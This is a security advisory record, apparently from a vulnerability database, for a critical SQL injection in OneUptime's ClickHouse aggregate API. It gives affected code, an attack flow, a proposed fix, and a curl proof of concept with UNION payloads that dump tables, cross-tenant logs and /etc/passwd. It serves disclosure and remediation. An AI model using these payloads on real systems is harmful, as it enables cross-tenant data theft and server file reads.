GHSA-P5G2-JM85-8G35

Vulnerability from github – Published: 2026-03-13 20:00 – Updated: 2026-03-16 17:06
VLAI?
Summary
OneUptime ClickHouse SQL Injection via Aggregate Query Parameters
Details

Summary

The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.

Details

Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:

The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:

// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
    req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;

No schema validation is applied to aggregateBy. The object flows directly to the database service.

No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:

// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
    // Only truthiness check — no allowlist
}

The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).

Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:

// StatementGenerator.ts:527
statement.append(
    `${aggregationType}(${aggregateColumnName}) as aggregationResult`
);

The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:

// Statement.ts:149-151
public append(text: string): Statement {
    this.query += text; // Raw concatenation — "trusted SQL"
    return this;
}

Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:

statement.append(
    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`
);

Attack flow: 1. Authenticated user sends POST /api/log/aggregate (or /api/span/aggregate, /api/metric/aggregate) 2. Request body contains aggregateBy.aggregationType set to a SQL injection payload 3. Payload passes truthiness check at line 276 4. Payload is concatenated into SQL via .append() at line 527 5. ClickHouse executes the injected SQL

PoC

# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password123"}' \
  | jq -r '.token')

# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'

# Step 3: Read telemetry data across all tenants
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'

# Step 4: Read files via ClickHouse table functions (if enabled)
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\''/etc/passwd'\'') --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'
# Verify the vulnerability in source code:

# 1. No allowlist for aggregationType:
grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5
# Line 276: if (aggregateBy.aggregationType) { — truthiness only

# 2. Raw SQL concatenation:
grep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts
# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`

# 3. .append() is raw concatenation:
grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts
# this.query += text; — "trusted SQL"

# 4. No validation at API layer:
grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist'
# 0

Impact

Full ClickHouse database compromise. An authenticated user (any role) can:

  1. Cross-tenant data theft — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own
  2. Data manipulation — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users
  3. Server-side file read — Via ClickHouse's file() table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem
  4. Remote code execution — Via ClickHouse's url() table function, make HTTP requests from the server (SSRF), or via executable() table function, execute OS commands
  5. Credential theft — ClickHouse default configuration (default user, password from env) could be leveraged to connect directly

The vulnerability requires only basic authentication (any registered user), making it exploitable at scale.

Proposed Fix

// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:
const ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];

if (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {
    throw new BadRequestException(
        `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +
        `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`
    );
}

// 2. Validate aggregateColumnName against the model's known columns:
const modelColumns = model.getColumnNames(); // or similar accessor
if (!modelColumns.includes(aggregateBy.aggregateColumnName)) {
    throw new BadRequestException(
        `Invalid column: ${aggregateBy.aggregateColumnName}`
    );
}

// 3. Same for aggregationTimestampColumnName:
if (aggregateBy.aggregationTimestampColumnName &&
    !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {
    throw new BadRequestException(
        `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`
    );
}

// 4. Use parameterized queries where possible:
statement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);
statement.addParameter('aggregationType', aggregateBy.aggregationType);
statement.addParameter('columnName', aggregateBy.aggregateColumnName);
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "oneuptime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:00:34Z",
    "nvd_published_at": "2026-03-13T19:54:42Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.\n\n### Details\n\n**Entry Point \u2014 `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:**\n\nThe `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body:\n\n```typescript\n// BaseAnalyticsAPI.ts:292-296\nconst aggregateBy: AggregateBy\u003cTBaseModel\u003e = JSONFunctions.deserialize(\n    req.body[\"aggregateBy\"]\n) as AggregateBy\u003cTBaseModel\u003e;\n```\n\nNo schema validation is applied to `aggregateBy`. The object flows directly to the database service.\n\n**No Validation \u2014 `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:**\n\n```typescript\n// AnalyticsDatabaseService.ts:276-278\nif (aggregateBy.aggregationType) {\n    // Only truthiness check \u2014 no allowlist\n}\n```\n\nThe `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).\n\n**Raw SQL Injection \u2014 `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:**\n\n```typescript\n// StatementGenerator.ts:527\nstatement.append(\n    `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n);\n```\n\nThe `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:\n\n```typescript\n// Statement.ts:149-151\npublic append(text: string): Statement {\n    this.query += text; // Raw concatenation \u2014 \"trusted SQL\"\n    return this;\n}\n```\n\nSimilarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:\n\n```typescript\nstatement.append(\n    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`\n);\n```\n\n**Attack flow:**\n1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`)\n2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload\n3. Payload passes truthiness check at line 276\n4. Payload is concatenated into SQL via `.append()` at line 527\n5. ClickHouse executes the injected SQL\n\n### PoC\n\n```bash\n# Step 1: Authenticate and get session token\nTOKEN=$(curl -s -X POST \u0027https://TARGET/identity/login\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"user@example.com\",\"password\":\"password123\"}\u0027 \\\n  | jq -r \u0027.token\u0027)\n\n# Step 2: Extract data from ClickHouse system tables via UNION injection\ncurl -s -X POST \u0027https://TARGET/api/log/aggregate\u0027 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027tenantid: PROJECT_ID\u0027 \\\n  -d \u0027{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = \u0027\\\u0027\u0027oneuptime\u0027\\\u0027\u0027 --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }\u0027\n\n# Step 3: Read telemetry data across all tenants\ncurl -s -X POST \u0027https://TARGET/api/log/aggregate\u0027 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027tenantid: PROJECT_ID\u0027 \\\n  -d \u0027{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }\u0027\n\n# Step 4: Read files via ClickHouse table functions (if enabled)\ncurl -s -X POST \u0027https://TARGET/api/log/aggregate\u0027 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027tenantid: PROJECT_ID\u0027 \\\n  -d \u0027{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file(\u0027\\\u0027\u0027/etc/passwd\u0027\\\u0027\u0027) --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }\u0027\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. No allowlist for aggregationType:\ngrep -n \u0027aggregationType\u0027 Common/Server/Services/AnalyticsDatabaseService.ts | head -5\n# Line 276: if (aggregateBy.aggregationType) { \u2014 truthiness only\n\n# 2. Raw SQL concatenation:\ngrep -n \u0027aggregationType.*aggregateColumnName\u0027 Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts\n# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n\n# 3. .append() is raw concatenation:\ngrep -A3 \u0027public append\u0027 Common/Server/Utils/AnalyticsDatabase/Statement.ts\n# this.query += text; \u2014 \"trusted SQL\"\n\n# 4. No validation at API layer:\ngrep -A5 \u0027aggregateBy\u0027 Common/Server/API/BaseAnalyticsAPI.ts | grep -c \u0027validate\\|sanitize\\|allowlist\u0027\n# 0\n```\n\n### Impact\n\n**Full ClickHouse database compromise.** An authenticated user (any role) can:\n\n1. **Cross-tenant data theft** \u2014 Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own\n2. **Data manipulation** \u2014 INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users\n3. **Server-side file read** \u2014 Via ClickHouse\u0027s `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem\n4. **Remote code execution** \u2014 Via ClickHouse\u0027s `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands\n5. **Credential theft** \u2014 ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly\n\nThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.\n\n### Proposed Fix\n\n```typescript\n// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:\nconst ALLOWED_AGGREGATION_TYPES = [\u0027AVG\u0027, \u0027SUM\u0027, \u0027COUNT\u0027, \u0027MIN\u0027, \u0027MAX\u0027, \u0027UNIQ\u0027];\n\nif (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {\n    throw new BadRequestException(\n        `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +\n        `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(\u0027, \u0027)}`\n    );\n}\n\n// 2. Validate aggregateColumnName against the model\u0027s known columns:\nconst modelColumns = model.getColumnNames(); // or similar accessor\nif (!modelColumns.includes(aggregateBy.aggregateColumnName)) {\n    throw new BadRequestException(\n        `Invalid column: ${aggregateBy.aggregateColumnName}`\n    );\n}\n\n// 3. Same for aggregationTimestampColumnName:\nif (aggregateBy.aggregationTimestampColumnName \u0026\u0026\n    !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {\n    throw new BadRequestException(\n        `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`\n    );\n}\n\n// 4. Use parameterized queries where possible:\nstatement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);\nstatement.addParameter(\u0027aggregationType\u0027, aggregateBy.aggregationType);\nstatement.addParameter(\u0027columnName\u0027, aggregateBy.aggregateColumnName);\n```",
  "id": "GHSA-p5g2-jm85-8g35",
  "modified": "2026-03-16T17:06:56Z",
  "published": "2026-03-13T20:00:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32306"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OneUptime/oneuptime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": " OneUptime ClickHouse SQL Injection via Aggregate Query Parameters"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…